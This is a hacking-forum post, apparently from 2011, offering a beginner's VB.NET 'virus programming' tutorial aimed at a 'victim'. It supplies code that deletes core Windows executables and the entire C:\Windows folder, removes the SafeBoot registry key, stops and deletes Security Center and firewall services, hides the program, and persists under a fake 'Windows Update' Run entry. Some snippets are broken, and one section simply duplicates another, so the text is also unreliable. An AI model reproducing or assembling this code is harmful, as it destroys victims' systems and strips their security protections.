Virus Programming[TUT-FOR BEGINERS] 07-29-2011, 06:17 PM
#1
I'm beginner in virus programming in VB.NET, this tutorial is just for beginners.
Go to designer on the form and set the "Opacity" to "0" and "Visible" to "False" to hide Form1.
First hide your Form1 with this code:
On the end add this code:
OK, Let's start:
1.Kill Command Prompt (cmd.exe)
This code kill cmd.exe victim can't run Command Prompt.
2.Kill Taskmanager (taskmgr.exe)
This code kill process taskmgr.exe victim can't run Task Manager
3.Kill msconfig (msconfig.exe)
This code kill process msconfig.exe victim can't run msconfig.
4.Kill regedit (regedit.exe)
This code kill process regedit.exe victim can't run regedit.
5.Kill svchost.exe (Dangerous)
This code kill process svchost.exe Careful with this code.
6.Kill shell.dll (Dangerous)
This code kill shell.dll without this process PC can't work.Careful!
7.Kill winlogon.exe (Dangerous)
This code kill process winlogon.exe careful!
Kill explorer.exe (Dangerous)
This code kill explorer.exe Careful!
8.Process Killer
This kill processes.
Now you explain codes:
Shutdown:
Restart:
LogOff:
Delete file:
Delete all files in folder:
Delete registry:
Create registry:
Kill security center:
Disable firewall:
hide program:
show and hide cursor:
Get info av and firewall:
Add app to startup:
Turn off windows update
For windows update code credits go to: 1234hotmaster
This is some useful codes.
If u have some virus codes share it here!I'll add in my thread and write a credits!Thanks!
If u copy this please give the credits to the maker: JuiceKing (me) Thanks!
Go to designer on the form and set the "Opacity" to "0" and "Visible" to "False" to hide Form1.
First hide your Form1 with this code:
Code:
Me.HideCode:
Me.close1.Kill Command Prompt (cmd.exe)
Code:
Me.Hide
Kill("C:\Windows\System32\cmd.exe")
Me.close2.Kill Taskmanager (taskmgr.exe)
Code:
Me.Hide
Kill("C:\Windows\System32\taskmgr.exe")
Me.closeThis code kill process taskmgr.exe victim can't run Task Manager
3.Kill msconfig (msconfig.exe)
Code:
Me.Hide
Kill(C:\Windows\System32\msconfig.exe")
Me.closeThis code kill process msconfig.exe victim can't run msconfig.
4.Kill regedit (regedit.exe)
Code:
Me.Hide
Kill("C:\Windows\regedit.exe")
Me.closeThis code kill process regedit.exe victim can't run regedit.
5.Kill svchost.exe (Dangerous)
Code:
Me.Hide
Kill("C:\Windows\System32\svchost.exe
Me.closeThis code kill process svchost.exe Careful with this code.
6.Kill shell.dll (Dangerous)
Code:
Me.Hide
Kill("C:\Windows\System32\shell.dll")
Me.closeThis code kill shell.dll without this process PC can't work.Careful!
7.Kill winlogon.exe (Dangerous)
Code:
Me.Hide
Kill("C:\Windows\System32\winlogon.exe")
Me.closeThis code kill process winlogon.exe careful!
Kill explorer.exe (Dangerous)
Code:
Me.Hide
Kill("C:\Windows\explorer.exe")
Me.closeThis code kill explorer.exe Careful!
8.Process Killer
Code:
Me.Hide
Kill("C:\Windows\System32\cmd.exe")
Kill("C:\Windows\System32\taskmgr.exe")
Kill(C:\Windows\System32\msconfig.exe")
Kill("C:\Windows\regedit.exe")
Kill("C:\Windows\System32\svchost.exe
Kill("C:\Windows\System32\shell.dll")
Kill("C:\Windows\System32\winlogon.exe")
Kill("C:\Windows\explorer.exe")
Me.closeThis kill processes.
Now you explain codes:
Shutdown:
Code:
Shell("Shutdown -s")Restart:
Code:
Shell("Shutdown -r")LogOff:
Code:
Shell("Shutdown -l")Delete file:
Code:
Dim FileToDelete As String
FileToDelete = "C:\File.exe"
If System.IO.File.Exists(FileToDelete) = True Then
System.IO.File.Delete(FileToDelete)Delete all files in folder:
Code:
My.Computer.FileSystem.DeleteDirectory("C:\Windows", FileIO.DeleteDirectoryOption.DeleteAllContents)Delete registry:
Code:
My.Computer.Registry.LocalMachine.DeleteSubKey("HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SafeBoot")Create registry:
Code:
Dim regKey As RegistryKey
regKey = Registry.LocalMachine.OpenSubKey("SOFTWARE", True)
regKey.CreateSubKey("MyApp")
regKey.Close()Kill security center:
Code:
Shell "sc stop wscsvc", vbHide 'Stop Security Center
Shell "sc stop SharedAccess", vbHide 'Stop WinFirewall
Shell "sc delete SharedAccess", vbHide 'Kill WinFirewall
Shell "sc delete wscsvc", vbHide 'Kill Security Center
End subDisable firewall:
Code:
Dim Bumpbox As Process = New Process
Dim top As String = "netsh.exe"
Bumpbox.StartInfo.Arguments = ("firewall set opmode disable")
Bumpbox.StartInfo.FileName = top
Bumpbox.StartInfo.UseShellExecute = False
Bumpbox.StartInfo.RedirectStandardOutput = True
Bumpbox.StartInfo.CreateNoWindow = True
Bumpbox.Start()
Bumpbox.WaitForExit()hide program:
Code:
Timer1.Interval = 100
Timer1.Enabled = True
Me.Opacity = 0
Me.Hide()
Me.ShowInTaskbar = False
Me.visible = False
Me.ControlBox = False
Me.Height = 0
Me.Width = 0
Me.ShowIcon = False
Me.TransparencyKey = Me.BackColor
Me.FormBorderStyle = BorderStyle.Noneshow and hide cursor:
Code:
Declarations:
Private Declare Function ShowCursor Lib "user32" (ByVal bShow As Long) As Long
Code:
Private Sub cmdHide_Click()
'To hide the cursor, use this:
ShowCursor (False)
End Sub
Private Sub cmdShow_Click()
'To show the cursor, use this:
ShowCursor (True)
End SubGet info av and firewall:
Code:
Public Function GetFWAV() As String
On Error Resume Next
Dim colItems As Object
Dim objItem As Object
Dim objWMIService As Object
Set objWMIService = GetObject("winmgmts:\\.\root\SecurityCenter")
Set colItems = objWMIService.ExecQuery("Select * from FirewallProduct")
Dim tmp As String, endt As String
tmp = "-"
For Each objItem In colItems
tmp = objItem.CompanyName & " " & objItem.DisplayName & " (" & objItem.versionnumber & ")"
'objItem.Enabled
Next
endt = tmp
tmp = "-"
Set colItems = objWMIService.ExecQuery("Select * from AntiVirusProduct")
For Each objItem In colItems
tmp = objItem.CompanyName & " " & objItem.DisplayName & " (" & objItem.versionnumber & ")"
'objItem.OnAccessScanningEnabled 'Enabled ?
'objItem.ProductUptoDate 'Updated ?
Next
GetFWAV = endt & "|" & tmp
End FunctionAdd app to startup:
Code:
Imports System.IO
Imports Microsoft.Win32
Code:
Try
If System.IO.File.Exists(Path.GetTempPath() & "win_update.exe") = False Then
System.IO.File.Copy(System.Reflection.Assembly. _
GetExecutingAssembly.Location, Path.GetTempPath() & "win_update.exe")
End If
Catch ex As Exception
End Try
Try
Dim regKey As RegistryKey
regKey = Registry.CurrentUser.OpenSubKey("software\Microsoft\Windows\CurrentVersion\Run", True)
regKey.SetValue("Windows Update", Path.GetTempPath() & "win_update.exe")
regKey.Close()
Catch ex As Exception
End Try
Try
Dim regKey As RegistryKey
regKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)
regKey.SetValue("Windows Update", Path.GetTempPath() & "win_update.exe")
regKey.Close()
Catch ex As Exception
End TryTurn off windows update
Code:
Try
If System.IO.File.Exists(Path.GetTempPath() & "win_update.exe") = False Then
System.IO.File.Copy(System.Reflection.Assembly. _
GetExecutingAssembly.Location, Path.GetTempPath() & "win_update.exe")
End If
Catch ex As Exception
End Try
Try
Dim regKey As RegistryKey
regKey = Registry.CurrentUser.OpenSubKey("software\Microsoft\Windows\CurrentVersion\Run", True)
regKey.SetValue("Windows Update", Path.GetTempPath() & "win_update.exe")
regKey.Close()
Catch ex As Exception
End Try
Try
Dim regKey As RegistryKey
regKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)
regKey.SetValue("Windows Update", Path.GetTempPath() & "win_update.exe")
regKey.Close()
Catch ex As Exception
End TryFor windows update code credits go to: 1234hotmaster
This is some useful codes.
If u have some virus codes share it here!I'll add in my thread and write a credits!Thanks!
If u copy this please give the credits to the maker: JuiceKing (me) Thanks!
![[Image: iqc4mt.jpg]](http://i39.tinypic.com/iqc4mt.jpg)
My website: http://juiceking.comeze.com/juiceking.html
Some Visual Basic tutorials: http://www.visual-basic-tutorials.com/index.htm




![[+]](https://sinister.li/images/modern/collapse_collapsed.png)

